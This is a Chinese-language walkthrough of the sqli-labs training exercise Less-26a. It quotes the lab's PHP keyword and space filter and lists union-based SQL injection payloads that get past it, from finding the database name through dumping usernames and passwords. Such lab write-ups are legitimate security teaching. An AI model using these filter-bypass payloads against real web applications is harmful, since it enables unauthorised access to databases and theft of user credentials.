sqli-labs-Less-26a

SQLI-LAPS 实验记录

Less-26a

这一关与上一关类似,但闭合方式不同,增加了'),那么过关方式就可以结合上一关的技巧,以()应对空格,以双写绕过的方式应对'and','or'字符过滤。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0') union(select(1),(2),(3));%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union(select(1),(2),(database()));%00
  • 查找表名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'));%00
  • 查找列名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'));%00

    查找其他数据:

    php 复制代码
    0') union(select(1),(2),(select(concat(username,':',passwoorrd))from(security.users)where(id=1)));%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
Turnip12021 天前
深度解析:为什么简单的数据库"写操作"会在 MySQL 中卡住?
后端·mysql
爱可生开源社区1 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1772 天前
《从零搭建NestJS项目》
数据库·typescript
加号32 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏2 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐2 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再2 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
WeiXin_DZbishe2 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
tryCbest2 天前
数据库SQL学习
数据库·sql
jnrjian2 天前
ORA-01017 查找机器名 用户名 以及library cache lock 参数含义
数据库·oracle